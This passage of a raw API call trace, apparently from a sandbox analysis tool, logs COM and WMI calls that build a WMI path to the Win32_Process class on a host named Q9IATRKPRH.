[6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bfbc600) returned 0x0 [0078.550] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc600, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0078.550] WbemDefPath:IUnknown:AddRef (This=0x1bfbc600) returned 0x3 [0078.550] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc600, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0078.550] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc600, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0078.550] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc600, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c0005a0) returned 0x0 [0078.551] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c0005a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0078.551] WbemDefPath:IUnknown:Release (This=0x1c0005a0) returned 0x3 [0078.551] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0078.551] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0078.551] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc600, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0078.551] WbemDefPath:IUnknown:Release (This=0x1bfbc600) returned 0x2 [0078.551] WbemDefPath:IUnknown:Release (This=0x1bfbc600) returned 0x1 [0078.551] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0078.551] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0078.551] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc600, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bfbc600) returned 0x0 [0078.551] WbemDefPath:IUnknown:AddRef (This=0x1bfbc600) returned 0x3 [0078.551] WbemDefPath:IUnknown:Release (This=0x1bfbc600) returned 0x2 [0078.551] WbemDefPath:IWbemPath:SetText (This=0x1bfbc600, uMode=0x4, pszPath="") returned 0x0 [0078.551] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0078.551] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0078.551] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0078.551] IUnknown:Release (This=0x111f638) returned 0x1 [0078.554] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c000560) returned 0x0 [0078.554] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c000560, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0078.554] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c000560, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bfbc6c0) returned 0x0 [0078.554] WbemDefPath:IUnknown:Release (This=0x1c000560) returned 0x0 [0078.554] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc6c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bfbc6c0) returned 0x0 [0078.554] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc6c0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0078.555] WbemDefPath:IUnknown:AddRef (This=0x1bfbc6c0) returned 0x3 [0078.555] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc6c0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0078.555] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc6c0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0078.555] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc6c0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c0005e0) returned 0x0 [0078.555] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c0005e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0078.555] WbemDefPath:IUnknown:Release (This=0x1c0005e0) returned 0x3 [0078.555] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0078.555] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0078.555] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc6c0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0078.555] WbemDefPath:IUnknown:Release (This=0x1bfbc6c0) returned 0x2 [0078.555] WbemDefPath:IUnknown:Release (This=0x1bfbc6c0) returned 0x1 [0078.555] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0078.556] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0078.556] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc6c0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bfbc6c0) returned 0x0 [0078.556] WbemDefPath:IUnknown:AddRef (This=0x1bfbc6c0) returned 0x3 [0078.556] WbemDefPath:IUnknown:Release (This=0x1bfbc6c0) returned 0x2 [0078.556] WbemDefPath:IWbemPath:SetText (This=0x1bfbc6c0, uMode=0x4, pszPath="") returned 0x0 [0078.556] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbc6c0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0078.556] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbc600, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0078.556] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bfbc6c0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0078.556] WbemDefPath:IWbemPath:GetServer (in: This=0x1bfbc6c0, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0078.556] WbemDefPath:IWbemPath:SetServer (This=0x1bfbc6c0, Name="Q9IATRKPRH") returned 0x0 [0078.556] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0078.556] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0078.556] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0078.556] IUnknown:Release (This=0x111f638) returned 0x1 [0078.558] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c000600) returned 0x0 [0078.559] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c000600, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0078.559] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c000600, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bfbc780) returned 0x0 [0078.559] WbemDefPath:IUnknown:Release (This=0x1c000600) returned 0x0 [0078.559] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc780, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bfbc780) returned 0x0 [0078.559] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc780, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0078.559] WbemDefPath:IUnknown:AddRef (This=0x1bfbc780) returned 0x3 [0078.559] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc780, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0078.559] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc780, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0078.559] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc780, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c000640) returned 0x0 [0078.560] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c000640, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0078.560] WbemDefPath:IUnknown:Release (This=0x1c000640) returned 0x3 [0078.560] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0078.560] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0078.560] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc780, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0078.560] WbemDefPath:IUnknown:Release (This=0x1bfbc780) returned 0x2 [0078.560] WbemDefPath:IUnknown:Release (This=0x1bfbc780) returned 0x1 [0078.560] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0078.560] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0078.560] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc780, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bfbc780) returned 0x0 [0078.560] WbemDefPath:IUnknown:AddRef (This=0x1bfbc780) returned 0x3 [0078.560] WbemDefPath:IUnknown:Release (This=0x1bfbc780) returned 0x2 [0078.560] WbemDefPath:IWbemPath:SetText (This=0x1bfbc780, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0078.560] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbc6c0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0078.560] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbc780, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0078.560] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc780, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0078.560] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc780, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0078.561] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bfbc6c0) returned 0x0 [0078.561] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbc780, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0078.561] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bfbc780, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0078.561] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bfbc780, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0078.561] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bfbc6c0, uIndex=0x0, pszName="ROOT") returned 0x0 [0078.561] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bfbc780, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0078.561] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bfbc780, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0078.561] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bfbc6c0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0078.561] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bfbc6c0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0078.561] WbemDefPath:IWbemPath:SetClassName (This=0x1bfbc6c0, Name="Win32_Process") returned 0x0 [0078.561] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bfbc6c0, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0078.561] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbc6c0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0078.561] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc6c0, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0078.561] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc6c0, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0078.561] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bfbc6c0, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0078.562] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbc6c0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0078.562] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc6c0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0078.562] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc6c0, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0078.562] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbc480, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0078.562] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc480, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0078.562] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc480, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0078.562] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc6c0, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0078.562] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc6c0, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0078.562] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0078.562] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0078.562] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0078.562] IUnknown:Release (This=0x111f638) returned 0x1 [0078.564] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x1c0008a0) returned 0x0 [0078.565] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0008a0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0078.565] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c0008a0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x1bfbc840) returned 0x0 [0078.565] WbemDefPath:IUnknown:Release (This=0x1c0008a0) returned 0x0 [0078.565] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc840, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x1bfbc840) returned 0x0 [0078.565] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc840, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0078.565] WbemDefPath:IUnknown:AddRef (This=0x1bfbc840) returned 0x3 [0078.565] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc840, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0078.565] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc840, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0078.566] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc840, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x1c0008e0) returned 0x0 [0078.566] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c0008e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, 